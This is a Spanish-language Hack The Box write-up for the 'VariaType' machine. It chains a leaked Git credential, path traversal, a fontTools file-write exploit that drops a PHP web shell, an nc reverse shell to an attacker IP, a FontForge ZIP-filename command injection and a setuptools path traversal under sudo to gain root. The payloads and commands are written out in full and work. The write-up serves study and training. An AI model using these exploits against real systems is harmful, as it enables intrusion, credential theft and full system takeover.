VariaType WriteUp

Table of Contents

VariaType WriteUp

VariaType es una máquina de dificultad 🟧 Media de la plataforma Hack The Box, Season 10. La cadena de ataque pasa por descubrir un repositorio Git expuesto en un portal interno, extraer credenciales del historial de commits, explotar una escritura arbitraria de ficheros en fontTools para obtener una shell, moverse lateralmente abusando de la inyección de comandos en FontForge mediante un archivo ZIP malicioso, y escalar a root aprovechando un path traversal en setuptools a través de una regla sudo mal configurada.

🗺️ Cadena de Ataque

Reconocimiento → Puertos 22, 80
      │
      ▼
Enumeración de subdominios → portal.variatype.htb
      │
      ▼
.git expuesto → git-dumper → historial de commits → gitbot:G1tB0t_Acc3ss_2025!
      │
      ▼
Path traversal en /download.php → /etc/passwd → usuario steve
      │
      ▼
CVE-2025-66034 → .designspace malicioso → escritura de shell → RCE como www-data
      │
      ▼
CVE-2024-25082 → ZIP con filename malicioso → cron FontForge → SSH key → steve
      │
      ▼
CVE-2025-47273 → sudo install_validator.py + path traversal en setuptools → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

echo "10.129.18.165 variatype.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Fase 1 — Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv variatype.htb

Fase 2 — Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv variatype.htb
PuertoServicioDetalle
22SSHOpenSSH 9.2p1 (Debian)
80HTTPnginx 1.22.1

Enumeración Web

El sitio principal http://variatype.htb muestra la web corporativa de una startup de tipografía variable. La página destaca el uso de fontTools como motor de procesado de fuentes, lo que ya nos da una pista de la superficie de ataque.

VariaType WriteUp

Enumeramos subdominios:

ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://variatype.htb" -H "Host: FUZZ.variatype.htb" -fc 301
portal   [Status: 200, Size: 2494]

🎯 Encontramos portal.variatype.htb. Lo añadimos a /etc/hosts:

sudo sed -i 's/variatype.htb/variatype.htb portal.variatype.htb/' /etc/hosts

http://portal.variatype.htb es un portal de validación de fuentes restringido al equipo interno. Enumeramos ficheros y directorios:

VariaType WriteUp

ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u "http://portal.variatype.htb/FUZZ" -fc 404
.git   [Status: 301, Size: 169]

🎯 El directorio .git está expuesto en el portal.

💉 Acceso Inicial

Extracción del repositorio Git

Con el .git accesible, volcamos todo el repositorio con git-dumper:

git-dumper http://portal.variatype.htb/.git ./variatype-repo
cd variatype-repo

Revisamos el historial completo de commits, incluyendo ramas y commits huérfanos:

git log --all --oneline
753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation

💡 Solo hay dos commits. El más reciente menciona explícitamente al usuario gitbot, así que inspeccionamos su diff directamente:

git show 753b5f5
'gitbot' => 'G1tB0t_Acc3ss_2025!'

🔑 Credenciales encontradas: gitbot:G1tB0t_Acc3ss_2025!

Path Traversal en /download.php

Iniciamos sesión en el portal y aprovechamos la descarga de ficheros para leer /etc/passwd:

http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/passwd

💡 El servidor filtra ../ pero no la secuencia ....// — al eliminar .. central queda ../, logrando el traversal igualmente.

root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

VariaType WriteUp

🎯 Usuario steve confirmado en el sistema.

Descubriendo la ruta de escritura

Antes de explotar la escritura arbitraria de ficheros necesitamos saber dónde escribir para que el resultado sea accesible vía web. Reutilizamos el mismo path traversal en /download.php para leer la configuración de nginx del portal:

curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" \
  "http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb"
server {
    listen 80;
    server_name portal.variatype.htb;

    root /var/www/portal.variatype.htb/public;
    index index.php;

    access_log /var/log/nginx/portal_access.log;
    error_log /var/log/nginx/portal_error.log;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }

    location /files/ {
        autoindex off;
    }
}

🎯 El document root del portal es /var/www/portal.variatype.htb/public, y /files/ es una ruta servida directamente (con autoindex off, pero accesible si conocemos el nombre del fichero). Escribiendo en /var/www/portal.variatype.htb/public/files/shell.php tendremos acceso a nuestro payload PHP vía http://portal.variatype.htb/files/shell.php.

CVE-2025-66034 — Escritura Arbitraria de Ficheros en fontTools

🧠 fontTools < 4.60.2 no valida el atributo filename del elemento <variable-font> en los ficheros .designspace. Al procesar el fichero, os.path.join() acepta rutas absolutas en ese campo, permitiendo escribir la salida en cualquier ruta del sistema de ficheros. El contenido de los elementos <labelname> queda embebido en el fichero de salida; como PHP ignora datos binarios y ejecuta cualquier bloque <?php ... ?> que encuentre, basta con que el fichero se escriba con extensión .php y sea accesible vía web.

El sitio principal (variatype.htb) expone un generador de fuentes variables en /tools/variable-font-generator que procesa ficheros .designspace con fontTools. Generamos dos fuentes mínimas como masters y construimos el .designspace malicioso:

Paso 1 — el generador requiere masters .ttf válidos y compatibles entre sí. Los generamos con un script Python usando TTGlyphPen para crear un glyph mínimo. Guardamos el script como gen_fonts.py:

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def make_font(filename, weight):
    fb = FontBuilder(1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    pen = TTGlyphPen(None)
    pen.moveTo((50, 0))
    pen.lineTo((450, 0))
    pen.lineTo((450, 700))
    pen.lineTo((50, 700))
    pen.closePath()
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 50)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupNameTable({"familyName": "Source", "styleName": "Regular"})
    fb.setupOS2(sTypoAscender=800, sTypoDescender=-200, sTypoLineGap=0,
                usWinAscent=800, usWinDescent=200, usWeightClass=weight)
    fb.setupPost()
    fb.setupHead(unitsPerEm=1000)
    fb.font.save(filename)

make_font("source-light.ttf", 300)
make_font("source-regular.ttf", 400)
print("[+] Generated source-light.ttf and source-regular.ttf")
python3 gen_fonts.py
[+] Generated source-light.ttf and source-regular.ttf

Paso 2 — creamos manualmente el fichero malicious.designspace con la ruta absoluta de la shell en el atributo filename. Hay dos detalles clave para que la inyección funcione:

  • El <labelname> con el payload PHP debe ir dentro de <axis> (en <axes>), no dentro de <variable-font>: fontTools solo escribe en la tabla name del fichero de salida los labelnames de los ejes.
  • El contenido debe envolverse con el truco de “split” de CDATA, ]]]]><![CDATA[>, que produce un literal ]]> al final del texto parseado. Esto es necesario para que el payload sobreviva a la re-serialización que hace fontTools al volcar la tabla name.
<?xml version='1.0' encoding='UTF-8'?>
	<designspace format="5.0">
		<axes>
	    	<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	        	<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
	        	<labelname xml:lang="fr">hackpuntes</labelname>
	    	</axis>
		</axes>
		<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
		<sources>
			<source filename="source-regular.ttf" name="Regular">
				<location>
					<dimension name="Weight" xvalue="400"/>
				</location>
			</source>
		</sources>
		<variable-fonts>
        		<variable-font name="MyFont" filename="../../../../../../../../../var/www/portal.variatype.htb/public/files/shell.php">
				<axis-subsets>
					<axis-subset name="Weight"/>
				</axis-subsets>
			</variable-font>
		</variable-fonts>
		<instances>
			<instance name="Display Thin" familyname="MyFont" stylename="Thin">
				<location><dimension name="Weight" xvalue="100"/></location>
				<labelname xml:lang="en">Display Thin</labelname>
			</instance>
		</instances>
	</designspace>

Paso 3 — subimos los tres ficheros al endpoint del generador:

curl -X POST "http://variatype.htb/tools/variable-font-generator/process" \
  -F "designspace=@malicious.designspace" \
  -F "masters=@source-light.ttf" \
  -F "masters=@source-regular.ttf"
Processing completed.

La shell se escribe en el directorio de ficheros del portal. Para acceder a ella es necesaria la cookie de sesión activa:

curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" "http://portal.variatype.htb/files/shell.php?cmd=id"

💡 shell.php no es un PHP “limpio”: es el binario de la fuente TTF generada por fontTools, con el payload PHP embebido en la tabla name. La respuesta de curl mezcla la salida del comando con bytes binarios del fichero (nombres de tablas TTF como name, glyf, cmap…). Como la salida del payload PHP queda pegada justo después de SourceRegular (el familyName+styleName que definimos en gen_fonts.py), y strings separa esa línea de la siguiente por los bytes nulos del UTF-16 de la tabla name, filtramos esa línea y le quitamos el prefijo — funciona para la salida de cualquier comando:

curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" "http://portal.variatype.htb/files/shell.php?cmd=id" | strings | grep '^SourceRegular' | sed 's/^SourceRegular//'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE como www-data obtenido.

Preparamos el listener y enviamos una reverse shell pasando el payload en el parámetro cmd, dejando que curl lo url-encodee con --data-urlencode:

penelope -p 8443
curl --get -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" \
  --data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.49 8443 >/tmp/f' \
  "http://portal.variatype.htb/files/shell.php"

Al enviar la petición, penelope recibe la conexión y nos deja en una shell interactiva como www-data:

[+] Listening for reverse shells on 0.0.0.0:8443 →  127.0.0.1 • 192.168.100.223 • 10.10.14.49
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from variatype~10.129.18.165-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@variatype:~/portal.variatype.htb/public/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@variatype:~/portal.variatype.htb/public/files$ whoami
www-data
www-data@variatype:~/portal.variatype.htb/public/files$ hostname
variatype

🔀 Movimiento Lateral — CVE-2024-25082

Desde la shell de www-data, inspeccionamos los procesos y tareas programadas:

cat /etc/cron.d/*
cat /opt/process_client_submissions.bak
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
#  This purges session files in session.save_path older than X,
#  where X is defined in seconds as the largest value of
#  session.gc_maxlifetime from all your SAPI php.ini files
#  or 24 minutes if not defined.  The script triggers only
#  when session.save_handler=files.
#
#  WARNING: The scripts tries hard to honour all relevant
#  session PHP options, but if you do something unusual
#  you have to disable this script and take care of your
#  sessions yourself.

# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

El pipeline procesa los ficheros subidos con un binario de FontForge compilado desde fuente en /usr/local/src/fontforge/build/bin/fontforge. Comprobamos su versión:

/usr/local/src/fontforge/build/bin/fontforge -version
cat /usr/local/src/fontforge/build/CMakeCache.txt 2>/dev/null | grep -i version
Copyright (c) 2000-2025. See AUTHORS for Contributors.
 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
 with many parts BSD <http://fontforge.org/license.html>. Please read LICENSE.
 Version: 20230101
 Based on sources from 2025-12-07 11:44 UTC-D.
 Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
fontforge 20230101
build date: 2025-12-07 11:44 UTC
CMAKE_PROJECT_VERSION:STATIC=20230101
FONTFORGE_GIT_VERSION:INTERNAL=a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf

🧠 CVE-2024-25082 afecta a FontForge ≤ 20230101. Al abrir un archivo ZIP, FontForge pasa el nombre del fichero interno directamente a una shell para construir la ruta de extracción, sin sanitización. Un nombre de fichero como exploit$(cmd).ttf ejecuta cmd con los privilegios del proceso FontForge, en este caso steve.

Todo lo siguiente se ejecuta directamente desde la shell de www-data, trabajando en /tmp para no interferir con el UPLOAD_DIR que escanea el cron (que también vigila *.zip):

cd /tmp
which ssh-keygen python3 base64
/usr/bin/ssh-keygen
/usr/bin/python3
/usr/bin/base64

Generamos un par de claves SSH y construimos el ZIP malicioso. El heredoc se cita (<< 'EOF') para que bash no interprete $(...) ni ${...} dentro del código Python antes de pasarlo a python3; dentro del f-string, las llaves duplicadas ({{IFS}}) producen el literal ${IFS}:

ssh-keygen -t ed25519 -f steve_key -N "" -q
PUBKEY=$(cat steve_key.pub)
python3 << 'EOF'
import zipfile, base64

pubkey = open("steve_key.pub").read().strip()
cmd = f"mkdir -p /home/steve/.ssh && echo '{pubkey}' >> /home/steve/.ssh/authorized_keys && chmod 600 /home/steve/.ssh/authorized_keys"
b64 = base64.b64encode(cmd.encode()).decode()

# CVE-2024-25082: el nombre del fichero dentro del ZIP inyecta el comando
# (las llaves se duplican para que el f-string las imprima literalmente)
malicious_name = f"$(echo${{IFS}}{b64}|base64${{IFS}}-d|bash).ttf"

with zipfile.ZipFile("pwn.zip", "w") as zf:
    zf.writestr(malicious_name, b"OTTO" + b"\x00" * 100)

print("[+] pwn.zip generado")
EOF

Copiamos el ZIP al UPLOAD_DIR que escanea el cron (/var/www/portal.variatype.htb/public/files, según process_client_submissions.bak) y esperamos a que lo procese:

cp pwn.zip /var/www/portal.variatype.htb/public/files/
sleep 60
ssh -i steve_key steve@127.0.0.1

🚩 User Flag

cat ~/user.txt

🧗‍♂️ Escalada de Privilegios — CVE-2025-47273

Enumeración de sudo

sudo -l
User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

🧠 CVE-2025-47273 afecta a setuptools < 78.1.1. La función PackageIndex.download() construye la ruta de destino con os.path.join(tmpdir, filename), donde filename se extrae sin sanitizar de la URL proporcionada. Si esa URL contiene una ruta absoluta URL-encoded (p. ej. %2froot%2f.ssh%2fauthorized_keys/root/.ssh/authorized_keys), os.path.join() descarta por completo el tmpdir y devuelve la ruta absoluta, permitiendo escribir el fichero descargado en cualquier ubicación del sistema.

El script install_validator.py acepta una URL de plugin como argumento y usa setuptools.PackageIndex para descargarlo. Aprovechamos el comodín * de la regla sudo para pasar nuestra URL:

Paso 1 — Generamos un par de claves para root:

ssh-keygen -t ed25519 -f root_key -N "" -q

Paso 2 — Montamos un servidor HTTP con goshs. La petición que hará setuptools llega con el path %2f-encoded y goshs lo decodifica antes de buscar el fichero, así que replicamos la ruta /root/.ssh/authorized_keys dentro de nuestro directorio servido:

mkdir -p ~/http/root/.ssh
cp root_key.pub ~/http/root/.ssh/authorized_keys
goshs -d ~/http -p 80 -i 0.0.0.0

Paso 3 — Explotamos CVE-2025-47273. El path %2froot%2f.ssh%2fauthorized_keys decodifica a /root/.ssh/authorized_keys; al ser una ruta absoluta, os.path.join() descarta el directorio temporal y setuptools escribe el fichero descargado directamente en /root/.ssh/authorized_keys:

sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys"
2026-06-12 18:47:44,360 [INFO] Attempting to install plugin from: http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys
2026-06-12 18:47:44,367 [INFO] Downloading http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys
2026-06-12 18:47:44,442 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.

Paso 4 — Conectamos como root:

ssh -i root_key root@variatype.htb
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)

Shell de root obtenida.

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1ReconocimientonmapPuertos 22 y 80 (nginx)
2Enumeración de subdominiosffufportal.variatype.htb
3Git expuesto + historialgit-dumper, git loggitbot:G1tB0t_Acc3ss_2025!
4Path traversal /download.phpcurl/etc/passwd → usuario steve
5CVE-2025-66034.designspace maliciosoShell como www-data
6CVE-2024-25082ZIP con filename inyectadoSSH key → acceso como steve + User Flag 🚩
7CVE-2025-47273 + sudoinstall_validator.pyauthorized_keys en /root/.ssh → root
8Escalada a rootssh con clave generadaShell como root + Root Flag 🏴

Un saludo, nos vemos en el próximo challenge.